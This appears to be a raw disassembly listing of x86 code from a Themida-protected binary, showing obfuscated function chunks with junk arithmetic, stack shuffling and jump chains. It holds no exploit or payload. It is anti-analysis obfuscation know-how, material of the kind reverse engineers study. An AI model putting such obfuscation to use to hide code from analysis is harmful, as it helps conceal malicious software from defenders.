loc_593E59: ; CODE XREF: sub_5916C4-5F5Aj
sub eax, 36DA3842h
push edx
mov edx, eax
mov ecx, edx
jmp loc_590B9E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_593E68: ; CODE XREF: Themida_:00593776j
sub ebx, edx
jmp loc_596DB4
; ---------------------------------------------------------------------------
loc_593E6F: ; CODE XREF: Themida_:0058AA85j
push edi
mov edi, 29C5ABF9h
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push eax
push 44E2235Ah
pop eax
xor eax, 62E12928h
jmp loc_5960EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593E9B: ; CODE XREF: sub_58F5B5-3CD2j
or eax, eax
jz loc_5907E1
push dword ptr [edi+1Ch]
push [esp-4+arg_0]
jmp loc_590D34
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_593EAE: ; CODE XREF: sub_590010-4875j
mov esi, [esp-10h+arg_C]
jmp loc_58C13B
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593EB6: ; CODE XREF: sub_58F5B5-3A26j
mov [esp-8+arg_4], ebx
jmp loc_5919AD
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_593EBE: ; CODE XREF: sub_5EC2E8-585DEj
mov ebp, 1CB660BBh
neg ebp
sub ebp, 6A810DFAh
xor ebp, 76C4F278h
sub ebx, ebp
pop ebp
sub ebx, edi
jmp loc_591C9E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_593EDB: ; CODE XREF: Themida_:00595735j
pop eax
push 3259h
mov [esp], esi
mov esi, 6EEB32EBh
shl esi, 6
dec esi
sub esi, 11EC4B1Dh
push 0
sub [esp], esi
jmp loc_592059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_593F00: ; CODE XREF: sub_58BA12+8E70j
xchg edi, ebp
push edx
mov edx, 0C0FA05B1h
xor ebp, edx
push [esp+4+var_4]
pop edx
add esp, 4
sub ebx, ebp
jmp loc_592E67
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593F18: ; CODE XREF: sub_59762D-2118j
; sub_58C17E+B6FFj
mov ebx, 6ADC4F39h
sub ebx, 5C4BE992h
add edi, ebx
pop ebx
jmp loc_5922FF
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593F2B: ; CODE XREF: Themida_:00597FB4j
push 24633F5Eh
jmp loc_58CAED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593F35: ; CODE XREF: sub_58C17E+6570j
pop ecx
pop edx
push ecx
mov ecx, 4
jmp loc_58C059
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EC96
loc_593F42: ; CODE XREF: sub_58EC96+5DD1j
pop ax
add cl, 6
sub cl, 85h
sub cl, bh
add cl, 85h
sub cl, 6
jmp loc_58BCCD
; END OF FUNCTION CHUNK FOR sub_58EC96
; ---------------------------------------------------------------------------
loc_593F57: ; CODE XREF: Themida_:0058EAC7j
mov ebp, 58CE28DBh
push edx
mov edx, 50B4622Ch
and edx, 1151499Ah
jmp loc_58D670
; ---------------------------------------------------------------------------
lodsb
jmp loc_58FA09
; ---------------------------------------------------------------------------
loc_593F73: ; CODE XREF: Themida_:0058B9B5j
or dh, 0AEh
ja loc_58C626
sub dh, 0C0h
mov cl, dh
jmp loc_58F89A
; ---------------------------------------------------------------------------
mov ah, 46h
loc_593F88: ; CODE XREF: Themida_:00593DAAj
sub ebp, 4D3B1F2Eh
jmp loc_58C0B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_593F93: ; CODE XREF: sub_5916CB+2514j
add esi, edx
add esi, 269B42BCh
mov edx, [esp+0Ch+var_C]
add esp, 4
sub esi, 2821494h
add esi, 14BF35EEh
add esi, eax
sub esi, 14BF35EEh
add esi, 2821494h
push ebp
push eax
jmp loc_58BAB2
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_593FC2: ; CODE XREF: Themida_:00595AF9j
mov [esp], ecx
mov cl, 0EFh
add al, 62h
add al, 0CEh
sub al, cl
jmp loc_58EA90
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_59504C
; ---------------------------------------------------------------------------
loc_593FE3: ; CODE XREF: Themida_:005906E8j
; Themida_:00596224j
pop ecx
pop edi
jmp loc_58FE71
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593FF2: ; CODE XREF: sub_58F5B5+6CE1j
push eax
push [esp-4+arg_4]
pop eax
pop [esp-4+arg_0]
pop esp
mov [esp-0Ch+arg_8], ebx
mov eax, [esp-0Ch+arg_8]
add esp, 4
push ecx
jmp loc_58F677
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59400B: ; CODE XREF: Themida_:0058B494j
mov edi, esp
push edx
mov edx, 284B33B3h
not edx
add edx, 77030FFBh
xor edx, 4EB7DC43h
add edi, edx
jmp loc_58EFB1
; ---------------------------------------------------------------------------
loc_594028: ; CODE XREF: Themida_:0058A88Bj
add dword ptr [esp], 4
mov edi, [esp]
jmp loc_597431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_594037: ; CODE XREF: sub_595E21-10j
sub eax, 7DB64511h
sub eax, edx
add eax, 7DB64511h
jmp loc_59321F
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_594048: ; CODE XREF: sub_59762D+713j
mov ah, 0ECh
inc ah
xor ah, 0BBh
add ch, ah
pop eax
sub ch, bl
sub ch, 56h
jmp loc_592A3A
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59405C: ; CODE XREF: sub_590467-2BD8j
not edi
push edx
push ebp
mov ebp, 1F9E23AFh
xor ebp, 32424DD5h
jns loc_58A723
and ebp, 2E86331Eh
or ebp, 400507A8h
loc_59407D: ; CODE XREF: sub_590B70+1824j
pop eax
and ebp, ebx
pop ebx
sub ebp, 0EEFD9FECh
xor eax, ebp
pop ebp
push ebp
jmp loc_58FE0E
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_594090: ; CODE XREF: sub_591059-44B3j
mov eax, [esp+4+var_4]
jmp loc_595DB6
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_594098: ; CODE XREF: Themida_:005953E5j
jns loc_58F304
add ebp, 3EED7CF3h
mov eax, ebp
mov ebp, [esp]
jmp loc_58C352
; ---------------------------------------------------------------------------
loc_5940AE: ; CODE XREF: Themida_:00593AD5j
inc bl
push ecx
mov ch, 63h
jmp loc_5912EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_5940B8: ; CODE XREF: sub_58BA12+12j
pop esp
push ebp
mov ebp, 190807E6h
not ebp
jmp loc_591697
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
loc_5940C6: ; CODE XREF: Themida_:0058E33Aj
mov [esp], esi
mov esi, 6A59796Dh
shr esi, 5
jnz loc_594EA7
xor esi, 5E1109A9h
shr esi, 5
inc esi
push ebx
; START OF FUNCTION CHUNK FOR sub_58F836
loc_5940E2: ; CODE XREF: sub_58F836-3E08j
sub ebp, 0FFFFFFFFh
and ebp, 284340Ch
not ebp
inc ebp
jmp loc_58FDEA
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
loc_5940F3: ; CODE XREF: Themida_:0058DE54j
jmp loc_58F3FA
; ---------------------------------------------------------------------------
loc_5940F8: ; CODE XREF: Themida_:0058CED2j
push 35922D5Bh
pop edx
dec edx
inc edx
or edx, 115D2797h
jmp loc_591F90
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
push edi
push ecx
mov ecx, 4
mov edi, ecx
pop ecx
push ecx
jmp loc_58FBD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_594127: ; CODE XREF: sub_58DBC4-B0j
mov esp, [esp+0]
and eax, ebp
jmp loc_58C119
; END OF FUNCTION CHUNK FOR sub_58DBC4
; =============== S U B R O U T I N E =======================================
sub_594131 proc near ; CODE XREF: sub_5938B9-19D7j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058CB31 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F072 SIZE 0000001F BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 0E526BC8h
jmp loc_58CB31
sub_594131 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594144: ; CODE XREF: sub_58F5B5+E6j
push [esp+4+var_4]
push [esp+8+var_8]
pop ecx
sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_597D55
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_594156: ; CODE XREF: Themida_:00591760j
mov ebx, 4
add esi, ebx
mov ebx, [esp]
jmp loc_592F12
; ---------------------------------------------------------------------------
loc_594165: ; CODE XREF: Themida_:0058D248j
pop ecx
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push esi
mov esi, 0B6C50D4h
neg esi
add esi, 79ED0D0Bh
xor esi, 42E9361Bh
xor esi, 102A27A2h
xor esi, 3C43AD8Ah
jmp loc_58D0F1
; ---------------------------------------------------------------------------
loc_5941A2: ; CODE XREF: Themida_:0058BBC5j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_594FF3
; ---------------------------------------------------------------------------
loc_5941B1: ; CODE XREF: Themida_:0058D84Dj
push edi
mov edi, 53DF343Ch
mov ebp, 777E653Bh
xor ebp, edi
pop edi
shl ebp, 8
push ecx
jmp loc_597586
; ---------------------------------------------------------------------------
loc_5941C8: ; CODE XREF: Themida_:00596E78j
pop eax
xchg ecx, [esp]
pop esp
ror dword ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5941D6: ; CODE XREF: sub_58C17E+5541j
pop ecx
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
add esi, edx
jmp loc_58D92B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5941ED: ; CODE XREF: Themida_:00597D8Fj
sub esp, 4
jmp loc_5958D0
; ---------------------------------------------------------------------------
xchg ecx, [esp]
jmp loc_591495
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_594200: ; CODE XREF: sub_58D99C+4E9Ej
ja loc_591149
sub ebx, 1411871Fh
and ecx, ebx
mov ebx, [esp+8+var_8]
push ebx
mov ebx, esp
loc_594214: ; CODE XREF: Themida_:00596607j
sub ecx, ebp
pop ebp
xor ecx, [esp+8+var_8]
jmp loc_5915DB
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
loc_59421F: ; CODE XREF: Themida_:005930E0j
push ebp
mov ebp, 40CC1EF1h
shr ebp, 8
xor ebp, offset loc_40CC1A
add ebx, ebp
pop ebp
sub ebx, 4
xchg ebx, [esp]
jmp loc_596DDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59423F: ; CODE XREF: Themida_:0058F056j
; sub_5916C4+3050j
not eax
jmp loc_590631
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_594246: ; CODE XREF: Themida_:0059319Dj
push 1978h
mov [esp], ecx
push edx
push eax
push ebx
mov bh, 0F8h
mov ah, bh
pop ebx
jmp loc_593215
; ---------------------------------------------------------------------------
loc_59425B: ; CODE XREF: Themida_:005904C4j
neg esi
jmp loc_595898
; ---------------------------------------------------------------------------
loc_594262: ; CODE XREF: Themida_:0058E5E9j
pop edi
neg ebx
sub ebx, 0FFFFFFFFh
xor ebx, 83E6F0CEh
sub esi, ebx
pop ebx
sub esi, edi
push edx
push esi
jmp loc_58B854
; ---------------------------------------------------------------------------
loc_59427D: ; CODE XREF: Themida_:0058DE4Ej
push edi
mov edi, 2
add ebx, 1F1069F7h
add ebx, edi
jmp loc_59536A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_594290: ; CODE XREF: sub_5EC2E8-5974Cj
mov esp, [esp+16h+var_16]
mov [esp+16h+var_16], eax
jmp loc_58A801
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_59429B: ; CODE XREF: Themida_:0058D8D0j
and edi, 30C80434h
js loc_59225D
add edi, 68D06334h
jmp loc_58F9AE
; ---------------------------------------------------------------------------
loc_5942B2: ; CODE XREF: Themida_:0058B907j
mov edx, [esp]
add esp, 4
jmp loc_597FF7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_5942C0: ; CODE XREF: sub_595E21+1DD3j
add esp, 4
or edx, eax
shl edx, 1
push 7BF0h
mov [esp+10h+var_10], ecx
sub esp, 4
mov [esp+14h+var_14], edx
push 1
pop edx
jmp loc_58B7F4
; END OF FUNCTION CHUNK FOR sub_595E21
; =============== S U B R O U T I N E =======================================
sub_5942E3 proc near ; CODE XREF: sub_590467-2C10j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B01C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BA75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059033C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00590D69 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592540 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059283F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059393E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005939EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595F54 SIZE 00000029 BYTES
push ebp
mov ebp, 56B579BBh
shr ebp, 6
xor ebp, 34C522DBh
neg ebp
add ebp, 32727084h
shl ebp, 1
add ebp, 52D17DF8h
jmp loc_5939EA
sub_5942E3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_594307: ; CODE XREF: sub_59762D-CEA1j
push edi
mov edi, 8DF9C78Eh
jmp loc_5964B8
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_594312: ; CODE XREF: Themida_:00592C30j
pop dword ptr [esp]
jmp loc_592E6F
; ---------------------------------------------------------------------------
loc_59431A: ; CODE XREF: Themida_:00596986j
pop ebp
add dword ptr [esp], 7D17A4Eh
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_594327: ; CODE XREF: Themida_:0058F16Dj
mov ebx, 2Ch
add ebx, 7AF439E1h
sub ebx, 19387EE3h
add ebx, edi
add ebx, 19387EE3h
sub esp, 4
mov [esp], esi
mov esi, 341E5FDBh
shr esi, 3
jmp loc_596386
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_594356: ; CODE XREF: sub_58F5B5+4449j
pop ebx
mov edi, ebp
jmp loc_59798B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59435E: ; CODE XREF: Themida_:00593195j
mov edi, 4
add esi, edi
mov edi, [esp]
add esp, 4
push eax
jmp loc_58E43D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_594371: ; CODE XREF: sub_5938B9-9023j
sub bl, cl
pop cx
sub bl, 66h
movzx eax, al
mov dx, [esp+0]
push edi
push esp
pop edi
sub esp, 4
mov [esp+6+var_6], ebp
jmp loc_58C7DE
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_594390: ; CODE XREF: Themida_:0058F85Aj
; sub_5916C4+3D71j
mov ecx, [esp+0]
add esp, 4
pop edx
sub al, bl
jmp loc_58B632
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59439E: ; CODE XREF: Themida_:0058AD29j
pop edi
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_590E0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5943BF: ; CODE XREF: sub_5916C4+5600j
push 3DFDh
mov [esp-6+arg_0+2], eax
jmp loc_58F259
; ---------------------------------------------------------------------------
loc_5943CC: ; CODE XREF: sub_5916C4-1939j
pop eax
jmp sub_5916CB
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5943D2: ; CODE XREF: Themida_:0059321Aj
push edi
mov edi, esp
jmp loc_594746
; ---------------------------------------------------------------------------
loc_5943DA: ; CODE XREF: Themida_:0058B85Fj
sub esi, 718E0A0Fh
push edi
mov edi, 71F21419h
jmp locret_58E754
; ---------------------------------------------------------------------------
loc_5943EB: ; CODE XREF: Themida_:0058AECEj
mov eax, [esp]
jmp loc_5925FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5943F3: ; CODE XREF: sub_590010:loc_58F12Aj
shl ecx, 2
jns loc_58CBED
add ecx, 0E4CF820Dh
mov esi, ecx
pop ecx
jmp loc_590CB7
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_59440A: ; CODE XREF: sub_595655+293Dj
dec esi
xor esi, 607021C3h
xor edx, esi
pop esi
sub edx, 6A2E8DF8h
and ebx, edx
pop edx
or ebx, 54685089h
shr ebx, 6
add ebx, 48E8AEC6h
sub ebp, ebx
pop ebx
sub esi, 2CFD2B33h
add esi, 220B2D76h
jmp loc_58D27D
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_594440: ; CODE XREF: sub_595E21+128Aj
push 156h
mov [esp+0], ecx
mov ecx, 65526119h
jmp loc_597A80
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_594452: ; CODE XREF: Themida_:00597345j
or bh, 4Bh
shr bh, 3
sub bh, 0DFh
add al, bh
mov ebx, [esp]
push ecx
jmp loc_59567A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_594466: ; CODE XREF: sub_58DBC4+5279j
mov esi, esp
jmp sub_58EB1F
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59446D: ; CODE XREF: sub_590010+D91j
pop edx
xchg ebx, [esp+4+var_4]
jmp loc_58C51B
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_594476: ; CODE XREF: sub_59762D-77D2j
jmp loc_5909F8
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_59447B: ; CODE XREF: Themida_:00593AB2j
push edi
mov edi, 4
push edi
jmp loc_594608
; ---------------------------------------------------------------------------
loc_594487: ; CODE XREF: Themida_:0058A470j
push dword ptr [esp+4]
jmp loc_58B2B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_594490: ; CODE XREF: Themida_:0058DE24j
; sub_590467+FF6j
mov eax, [esp+0Ah+var_A]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
jmp loc_592CAD
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5944A7: ; CODE XREF: Themida_:0059725Aj
sub esi, 0C12CD789h
add eax, 140C78A2h
add eax, 5F5D17BEh
jmp loc_596BD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_5944BC: ; CODE XREF: sub_595123-77EFj
pop ebx
add esp, 4
jmp loc_58F42A
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_5944C8: ; CODE XREF: Themida_:0058DE1Ej
jmp loc_591533
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4EA7h
jmp loc_59458B
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
jmp loc_5978D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5944E5: ; CODE XREF: sub_590010-E3Aj
or eax, eax
jz sub_58F5B5
push dword ptr [edi+1Ch]
jmp loc_5904E6
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_5944F5: ; CODE XREF: Themida_:00590741j
push ebx
mov ebx, 55B465D3h
neg ebx
ja loc_58F846
not ebx
add ebx, 41EA2DDDh
jnb loc_58E86A
sub ebx, 296387ABh
jmp loc_58DB45
; ---------------------------------------------------------------------------
loc_59451C: ; CODE XREF: Themida_:00592F43j
pop cx
pop small word ptr [esp]
push bx
mov bx, 2
sub word ptr [esp+2], 19D6h
add [esp+2], bx
add word ptr [esp+2], 19D6h
pop bx
jmp loc_58E78F
; ---------------------------------------------------------------------------
loc_594542: ; CODE XREF: Themida_:0058D0B7j
push 5488h
mov [esp], edx
mov edx, 2
add ebp, edx
pop edx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push esi
mov esi, esp
jmp loc_596969
; ---------------------------------------------------------------------------
loc_594566: ; CODE XREF: Themida_:0058F125j
push eax
mov eax, 599D6AFEh
jmp loc_59572E
; ---------------------------------------------------------------------------
loc_594571: ; CODE XREF: Themida_:00596E58j
pop ecx
mov bh, [esp+2]
mov [esp+2], ah
jmp loc_596C5D
; ---------------------------------------------------------------------------
loc_59457F: ; CODE XREF: Themida_:005958FEj
and bh, 7Eh
push small 5084h
jmp loc_596EAC
; ---------------------------------------------------------------------------
loc_59458B: ; CODE XREF: Themida_:005944D6j
mov [esp], ebp
jmp loc_591AD9
; ---------------------------------------------------------------------------
loc_594593: ; CODE XREF: Themida_:0058CCA0j
ja loc_593598
jmp loc_59499A
; ---------------------------------------------------------------------------
mov dh, 0FEh
dec dh
mov esi, ecx
mov ch, bl
; START OF FUNCTION CHUNK FOR sub_590467
loc_5945A6: ; CODE XREF: sub_590467-25E0j
pop ebp
mov dword ptr [edx], 1
mov edx, [esp-6+arg_0+2]
add esp, 4
push esi
mov esi, 7E0C27E0h
sub esi, 3BCF57CAh
jbe loc_592268
shl esi, 3
jmp loc_597C92
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_5945D0: ; CODE XREF: Themida_:0058DE06j
shr ecx, 3
xor ecx, 39B0A706h
mov eax, ecx
jmp loc_58E300
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5945E0: ; CODE XREF: sub_58C17E-10E2j
; Themida_:loc_58CD7Bj
shr edi, 6
sub edi, 71E80F89h
jmp loc_592F62
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5945EE: ; CODE XREF: Themida_:00596F04j
push 24633F5Eh
jmp loc_590223
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_5945F8: ; CODE XREF: sub_595E21-2BEFj
push esi
mov esi, esp
push ebx
mov ebx, 4
add esi, ebx
jmp loc_597166
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_594608: ; CODE XREF: Themida_:00594482j
pop ecx
jmp loc_58F7F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59460E: ; CODE XREF: sub_58F5B5-217Bj
push eax
mov eax, 4
sub esi, eax
jmp loc_58B2C6
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59461B: ; CODE XREF: Themida_:00592D8Cj
push 36A4h
mov [esp], edi
mov edi, 3F122986h
shl edi, 7
and edi, 497245DCh
xor edi, 5C852292h
add ecx, edi
pop edi
jmp loc_58B676
; ---------------------------------------------------------------------------
loc_59463F: ; CODE XREF: Themida_:00595067j
push ebx
jmp loc_59687B
; ---------------------------------------------------------------------------
loc_594645: ; CODE XREF: Themida_:0059599Fj
sub al, 98h
jmp loc_591993
; ---------------------------------------------------------------------------
loc_59464C: ; CODE XREF: Themida_:0058EBF9j
pop edx
add ebp, edi
jmp loc_58B21A
; =============== S U B R O U T I N E =======================================
sub_594654 proc near ; CODE XREF: sub_5916C4+2FEAj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A314 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058A7F9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B3A4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C0D8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C99E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D1B3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D5F8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EBB5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F4AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591FF5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005927C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059346E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593C61 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00594C56 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596BA6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059710A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005977BA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597CA5 SIZE 00000016 BYTES
push ebx
mov ebx, 4
add edx, ebx
push [esp+4+var_4]
pop ebx
jmp loc_58EBB5
sub_594654 endp
; ---------------------------------------------------------------------------
loc_594665: ; CODE XREF: Themida_:0058F0E2j
add edx, 0D922E379h
mov ecx, edx
pop edx
neg ecx
jmp loc_597B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_594675: ; CODE XREF: sub_595123-9DC3j
add edx, edi
jmp loc_58B9C9
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_59467C: ; CODE XREF: Themida_:00591D06j
add ebx, 8CE256E9h
push esi
jmp loc_58B5AF
; ---------------------------------------------------------------------------
loc_594688: ; CODE XREF: Themida_:00592B93j
mov ebp, 615E7027h
or eax, ebp
pop ebp
xor eax, 0B4449CC9h
sub ebp, eax
pop eax
jmp loc_597C14
; ---------------------------------------------------------------------------
loc_59469D: ; CODE XREF: Themida_:00593D2Ej
push edi
push esi
mov esi, 6BE54E83h
jmp loc_58D38E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5946A9: ; CODE XREF: sub_5916C4+454Fj
mov [esp+12h+var_12], edx
push esp
pop edx
jmp sub_594654
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EC96
loc_5946B3: ; CODE XREF: sub_58EC96+79BAj
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_58EC96
; ---------------------------------------------------------------------------
popa
jmp locret_58E754
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5946BF: ; CODE XREF: sub_5916C4-520Ej
xchg esi, [esp-16h+arg_10+2]
pop esp
push ebp
push ecx
mov ecx, 7D0878FBh
mov ebp, ecx
pop ecx
shr ebp, 2
jnp loc_58DFBD
jmp loc_590118
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
neg dword ptr [esp]
push dword ptr [esp]
mov ecx, edi
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_5946E3: ; CODE XREF: sub_5919E2-4659j
pop edx
pop ecx
add eax, ecx
push ecx
push 0F372D67h
pop ecx
jmp loc_59615A
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5946F3: ; CODE XREF: sub_592D25+22j
jmp loc_5909F8
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_5946F8: ; CODE XREF: Themida_:0058EA8Bj
mov ebx, esp
push 4A10h
mov [esp], edi
mov edi, 46F60EE8h
jmp loc_58BEF6
; ---------------------------------------------------------------------------
